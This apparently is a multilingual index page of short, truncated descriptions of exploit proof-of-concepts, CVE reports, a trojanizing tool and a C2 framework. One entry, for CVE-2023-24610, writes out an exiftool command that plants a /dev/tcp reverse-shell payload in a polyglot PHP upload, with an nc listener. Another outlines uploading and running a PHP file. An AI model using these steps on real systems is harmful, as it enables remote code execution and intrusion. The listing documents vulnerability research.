dameflare

DameFlare SolarWinds Dameware MRC 智能卡认证绕过导致未认证 RCE CVE-2019-3980 | CVSS 9.8 严重 | TCP/6129 原始研究与 POC：Tenable, Inc. TRA-2019-43 Python 3 工具：David Boyd @Fir3d0g 工作原理 Dameware MRC 在 TCP/6129 上暴露远程控制服务（DWRCS.exe）。在智能卡认证握手期间，服务器接受攻击者控制的文件作为智能卡驱动安装程序（dwDrvInst.exe），并以 SYSTEM 权限执行，无需任何认证。 DameFlare...

CVE-2025-47827

CVE-2025-47827 针对 CVE-2025-47827 的概念验证与漏洞报告。 目录 描述 披露 影响 检测 缓解措施 二进制文件 概念验证 资源 描述 在 v11 之前的 IGEL OS 中，Secure Boot 可被绕过，原因是 igel-flash-driver 模块未正确验证密码学签名。最终，一个精心构造的根文件系统可以从未经验证的 SquashFS 镜像中挂载。 IGEL OS 10 中 Linux 内核模块 igel-flash-driver 对密码学签名验证不当，允许恶意行为者通过启动由 Microsoft 第三方 UEFI CA 签名的 shim 来绕过...

exploiting-cve-2017-5123

CVE-2017-5123のエクスプロイト はじめに このリポジトリは、MISC Magazine 96に掲載された記事への追加です。 SMEP/SMAPおよびKASLRを有効にした仮想マシン上で、信頼性の高い方法で権限昇格を達成しました。ただし、システムは不安定な状態になり、oopsが発生する可能性が非常に高いことに注意してください。 このリポジトリの内容 configs/フォルダには、LinuxカーネルとBusyboxの設定ファイルがあり、それぞれデフォルトとは少し異なります。...

CVE-2020-9934

CVE-2020-9934 此概念验证是一个简单的Swift程序，它会使自身和终端获取每个kTCCService权限（从tccd中提取），然后执行四项操作： 在受TCC保护的目录中创建名为""的文件 从受TCC保护的目录中读取该文件的数据 列出TCC目录中的所有文件（包括""） 从受TCC保护的目录中删除该文件 用法： ./bypasstc 请参阅Medium上的完整文章...

sshtunnel

|CircleCI| |AppVeyor| |readthedocs| |coveralls| |version| |pyversions| |license| Author : Pahaz Repo : https://github.com/pahaz/sshtunnel/ Inspired by https://github.com/jmagnusson/bgtunnel, which doesn't work on Windows. See also: https://github.com/paramiko/paramiko/blob/master/demos/forward.py...

cve-2022-31813

CVE-2022-31813 脆弱性チェッカー 作者 : Derek Odiorne GitHub : @dodiorne バージョン : 1.2 最終更新日 : May 21, 2025 MITRE ATT &CK 手法: T1190 – 公開アプリケーションの悪用 🧠 説明 このツールは、modproxy と ProxyPassMatch を使用する Apache HTTP Server ≤ 2.4.53 におけるパストラバーサルおよびアクセス制御バイパスの脆弱性 CVE-2022-31813 を検出するためのブラックボックス脆弱性スキャナ です。...

CVE-2022-31007-Python-POC

Python による自動化スクリプトです。対象は、こちらの記事で説明されている elabFTW のアカウントロックアウト回避およびログインブルートフォースです。この脆弱性はバージョン 4.1.0 より前の elabFTW に影響します。 両スクリプトは、脆弱なバージョンの elabFTW（フリーかつオープンソースの電子実験ノート）を実行している Proving Grounds Practice のラボ「Source」に対して使用できます。 アカウントログインにはメールアドレスが必要なため、ブルートフォースでユーザー名を試す前に、潜在的なユーザーの有効なドメインを把握しておく必要があります...

CVE-2024-10924-Bypass-MFA-Wordpress-LAB

CVE-2024-10924 MFAバイパス WordPress - エクスプロイトラボ このリポジトリは、WordPress の CVE-2024-10924 脆弱性を悪用して、二要素認証（MFA）をバイパスし、WordPress 管理パネルへのアクセスを取得するためのラボを提供します。 前提条件 このラボを自分の環境に展開するには、以下の手順に従ってください。 VMware に WordPress をデプロイする LAB の zip を解凍し、VMware で Open をクリックしてマシンをインポートします。Ubuntu-Bypass-MFA-Wordpress.vmx...

AudioCaptchaBypass-CVE-2008-2019

CVE-2008-2019 のエクスプロイト - Simple Machines Form SMF 1.1.4 以下。 SMF は、アルファベットの各文字を女性の声で読み上げる音声 CAPTCHA を使用する。ユーザーは視覚障害者も含む、チャレンジレスポンスを通過するためにこれらの文字を入力する必要がある。CVE-2008-2019 によって特定された脆弱性は、実際には CVE-2007-3308...

CVE-2023-22515

1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 2023年10月4日、AtlassianはCVE-2023-22515に関するアドバイザリを公開しました。これは、Confluence ServerおよびConfluence Data Centerのオンプレミス環境に影響を与える重大な脆弱性です。 Atlassianは当初、この脆弱性を権限昇格（Privilege Escalation）として説明していましたが、その後、アクセス制御の不備（Broken Access Control）として再分類しました。 こちらがそのソース記事です。...

CVE-2026-81583

The My Login WordPress plugin before 7.2.0 does not enforce the network's registration setting when processing site signups on multisite installations, allowing users with a subscriber account, and unauthenticated users on some networks, to create new sites and be granted administrator over them...

CVE-2026-81737

The FAQ Builder AYS WordPress plugin before 1.8.5 does not sanitize or escape content submitted by unauthenticated visitors before storing it and outputting it in an admin area page, and the escaping it does apply is undone by a subsequent decoding step, leading to Stored XSS which will execute i...

CVE-2026-77788

The Rank Math SEO WordPress plugin before 1.0.277 does not verify that the metadata row being updated belongs to the object the user was authorised against, allowing users with the Author role and above to overwrite arbitrary post and user metadata, including that belonging to higher-privileged...

CVE-2024-27198

EN GenTeamCityExploit は、TeamCity サーバーの脆弱性 CVE-2024-27198 を標的とする PoC ツールです。認証バイパスの欠陥を悪用して、TeamCity のバージョン検出と新しい管理者ユーザーの作成を可能にします。 機能 TeamCity サーバーのバージョンを抽出します。 既知の脆弱性 CVE-2024-27198 の有無を確認します。 サーバーが脆弱な場合、新しい管理者ユーザーを作成します。 前提条件 Python 3.6+ : Python がインストールされていることを確認してください。 ライブラリ :...

trojanizer

TROJANIZER root@kitploit: Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION root@kitploit: The Trojanizer tool uses WinRAR SFX to...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 任意ファイルアップロード 作者 - Jinny Ramsmark 影響を受けるベンダー - Verot.net 影響を受ける製品 - class.upload.php = 2.0.4 新規インストールしたUbuntu 14.04（PHP5およびApache使用）でテスト済み 特にDebian/Ubuntuは、利用可能なPHPハンドラーにpht拡張子などを追加するため、脆弱性があることが判明しています。この場合、class.upload.phpはpht拡張子をブラックリストに登録していません。...

Ninja

Actualización rápida para incluir la explotación Follina 01/06/2022 - NinjaC2 generará el documento y servirá el payload HTML. Más información: https://www.linkedin.com/posts/ahmed-khlief-499321a7i-just-pushed-a-quick-update-to-ninjac2-to-activity-6937661951007170560-Tmps Ninja V2.2 Publicado...

CVE-2022-40684-metasploit-scanner

CVE-2022-40684-metasploit-scanner An authentication bypass using an alternate path or channel in Fortinet product preparation POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2022-40684-metasploit-scanner cd CVE-2022-40684-metasploit-scanner mkdir -p...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS バージョン " image.jpg 4 このファイルを image.php にリネームします。 5 フォームページで、作成した image.php ファイルをアップロードします。 6 このファイルを実行するには、https://yoursite.com/assets/image.php にアクセスします。 注：https://yoursite.com をテストインストールのアドレスに置き換えてください。 参考 GHSA-72hg-5wr5-rmfc...